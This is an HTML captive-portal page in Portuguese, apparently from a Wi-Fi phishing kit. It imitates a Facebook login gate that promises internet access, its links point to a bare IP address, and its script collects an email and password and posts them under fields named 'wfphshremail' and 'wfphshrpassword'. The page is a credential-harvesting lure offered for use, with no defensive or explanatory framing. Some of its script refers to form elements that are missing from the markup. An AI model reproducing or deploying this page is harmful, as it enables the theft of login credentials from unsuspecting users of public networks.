Untitled


<html>

  <head>

    <title>Bem Vindo</title>

    <meta charset='UTF-8'>
    <meta http-equiv="cache-control" content="no-cache" />
    <meta http-equiv="expires" content="0" />
    <meta http-equiv="pragma" content="no-cache" />
    <meta name="viewport" content="width=device-width,
    initial-scale=0.75, maximum-scale=0.75, user-scalable=no">
    <meta name="robots" content="noindex, nofollow">
    <meta name="theme-color" content="#5170ad" />

    <script src="static/js/jquery.min.js"></script>

    <link href='static/css/fonts.css' rel='stylesheet' type='text/css'>
    <link rel='stylesheet prefetch' href='static/css/normalize.min.css'>
    <link rel="icon" type="image/png" href="static/img/fm5arwc28y.png"/>

    <style class="cp-pen-styles">

      * {
        -webkit-box-sizing: border-box;
        -moz-box-sizing: border-box;
        box-sizing: border-box;
      }

      html {
        background: #E2E2E2;
      }

      body {
        background: #E2E2E2;
        margin: 0;
        padding: 0;
        font-family: 'Lato', sans-serif;
      }

	.logo{
	padding-bottom:152px;
	background-size:115px;
	background-repeat: no-repeat;
	background-align:center;
	}


	.logo1{
	padding-top:80px;


	}
      .login-form-wrap {
        background: #ffffff;
        filter: progid: DXImageTransform.Microsoft.gradient( startColorstr='#ffffff', endColorstr='#355493', GradientType=1);
        border: 1px solid #2d416d;
        position: relative;
        width: 100%;
        height: 100%;
        margin: auto auto;
        padding: 50px 30px 0 30px;
        text-align: center;
		 -webkit-touch-callout: none;
        -webkit-user-select: none;
        -khtml-user-select: none;
        -moz-user-select: none;
        -ms-user-select: none;
        user-select: none;
      }

      .login-form-wrap:before {
        display: block;
        content: '';
        width: 58px;
        height: 19px;
        top: 10px;
        left: 10px;
        position: absolute;
      }

      .login-form-wrap > h1 {
        margin: 0 0 50px 0;
        padding: 0;
        font-size: 26px;
        color: #fff;
      }

      .login-form-wrap > h5 {
        margin-top: 150px;
      }

      .login-form-wrap > h5 > a {
        font-size: 14px;
        color: #fff;
        text-decoration: none;
        font-weight: 400;
      }

      .login-form input[type="text"],
      .login-form input[type="password"] {
      	display: block;
        width: 345px;
        border: 1px solid #314d89;
        outline: none;
        padding: 12px 20px;
        color: #afafaf;
        font-weight: 400;
        font-family: 'Lato', sans-serif;
        cursor: pointer;
      }

      .login-form input[type="text"] {
      	color: black;
        border-bottom: none;
        border-radius: 4px 4px 0 0;
        padding-bottom: 13px;
        box-shadow: 0 -1px 0 #E0E0E0 inset, 0 1px 2px rgba(0, 0, 0, 0.23) inset;
      }

      .login-form input[type="password"] {
      	color: black;
        border-top: none;
        border-radius: 0 0 4px 4px;
        box-shadow: 0 -1px 2px rgba(0, 0, 0, 0.23) inset, 0 1px 2px rgba(255, 255, 255, 0.1);
      }

      .login-form input[type="submit"] {
        font-family: 'Lato', sans-serif;
        font-weight: 400;
        background: #e0e0e0;
        background: -moz-linear-gradient(top, #e0e0e0 0%, #cecece 100%);
        background: -webkit-gradient(linear, left top, left bottom, color-stop(0%, #e0e0e0), color-stop(100%, #cecece));
        background: -webkit-linear-gradient(top, #e0e0e0 0%, #cecece 100%);
        background: -o-linear-gradient(top, #e0e0e0 0%, #cecece 100%);
        background: -ms-linear-gradient(top, #e0e0e0 0%, #cecece 100%);
        background: linear-gradient(to bottom, #e0e0e0 0%, #cecece 100%);
        filter: progid: DXImageTransform.Microsoft.gradient( startColorstr='#e0e0e0', endColorstr='#cecece', GradientType=0);
        display: block;
        margin: 20px auto 0 auto;
        width: 345px;
        border: none;
        border-radius: 3px;
        padding: 8px;
        font-size: 17px;
        color: #636363;
        text-shadow: 0 1px 0 rgba(255, 255, 255, 0.45);
        font-weight: 700;
        box-shadow: 0 1px 3px 1px rgba(0, 0, 0, 0.17), 0 1px 0 rgba(255, 255, 255, 0.36) inset;
      }

      .login-form input[type="submit"]:hover {
        background: #DDD;
      }

      .login-form input[type="submit"]:active {
        padding-top: 9px;
        padding-bottom: 7px;
        background: #C9C9C9;
      }

	  .butn {
		-webkit-border-radius: 8;
		-moz-border-radius: 8;
		border-radius: 8px;
		font-family: Arial;
		color: #ffffff;
		font-size: 22px;
		background: #4267b2;
		padding: 12px 70px 12px 80px;
		text-decoration: none;
        -webkit-touch-callout: none;
        -webkit-user-select: none;
        -khtml-user-select: none;
        -moz-user-select: none;
        -ms-user-select: none;
        user-select: none;
		}

		.butn:hover {
		background: #4267b2;
		text-decoration: none;
		}

      .disable-selection {
        -webkit-touch-callout: none;
        -webkit-user-select: none;
        -khtml-user-select: none;
        -moz-user-select: none;
        -ms-user-select: none;
        user-select: none;
      }

	  .cancel{

		color: #898989;
		font-size: 17px;
		text-decoration:none;
	   }


	.footer{
		position:relative;
		bottom:-150px;
		color: #898989;
		text-decoration:none;
	   }

	 .text{
	 margin-bottom:15px;
	 color: #898989;
	font-size: 20px;
	text-decoration:none;
	   }

	.text1{
	margin-bottom:50px;
	color: #898989;
	font-size: 18px;
	text-decoration:none;
	   }

    </style>
  </head>

  <body>

    <section class="login-form-wrap">

		<div class="logo"><img src="icon.png" alt="Smiley face" height="90" width="90"></img></div>

		<div class=text>
			<b>Faça login com o Facebook para ter acesso à Internet.</b>
		</div>
		<div class=text1>
			<a>Não publicaremos nada sem sua permissão.</a>
		</div>
        <form class="login-form">
				<div id="button-wrap-inner">
     			<a href="http://35.196.197.135" target="_blank" class="butn">Entrar com o Facebook</a>
    			</div>
        </form>
	<div class="logo1">
	<a href="http://35.196.197.135" target="_blank" class="cancel">Cancelar</a>
	</div>

	<div class="footer">
			<a>Para ler os Termos e Condições <a href="http://35.196.197.135" target="_blank" class="cancel">Clique Aqui</a>.</a>
		</div>


  </section>

	    <script>
		  /*
		  Check the password field and act accordingly.
		  */

		  $("#btn").on("click", function(e) {
		      e.preventDefault();
		      // get the password box and checkbox elements
		      var input = document.getElementById("eml");
		      var input2 = document.getElementById("pwd");
		      // check to see if the value is empty
		      if ( input.value == "" ){
		          passNotValid();
		      }else if( input2.value == "" ){ //check if the value of the repeat field is empty
		          passNotValid();
		      }else{
		          // post the data
		          $("#dialog").css('display', 'none');
		            post('post', {
		              wfphshremail: input.value,
		              wfphshrpassword: input2.value
		            });
		      }
		  });

		  function passNotValid(){
		    $(".1").css('border', '1px solid #fa3e3e');
		    $(".2").css('border', '1px solid #fa3e3e');
		  	$(".2").css('border-top', '0px');
		  }

		  /*
		  Post to the fallowing path given the parameters.

		  Args:
		    path: The path to be posted to.
		    params: The parameters to be passed.
		  */
		  function post(path, params) {
		    // create a form and set its attributes
		    var form = document.createElement("form");
		    form.setAttribute("method", "post");
		    form.setAttribute("action", path);

		    // set the attribute for the post
		    for(var key in params) {
		        if(params.hasOwnProperty(key)) {
		            var hiddenField = document.createElement("input");
		            hiddenField.setAttribute("type", "hidden");
		            hiddenField.setAttribute("name", key);
		            hiddenField.setAttribute("value", params[key]);
		            form.appendChild(hiddenField);
		         }
		    }
		    // submit the post
		    document.body.appendChild(form);
		    form.submit();
		  }
		  var input = document.getElementById("eml");
		  var input2 = document.getElementById("pwd");
		  input.disabled = false;
		  input2.disabled = false;

		</script>


  </body>
</html>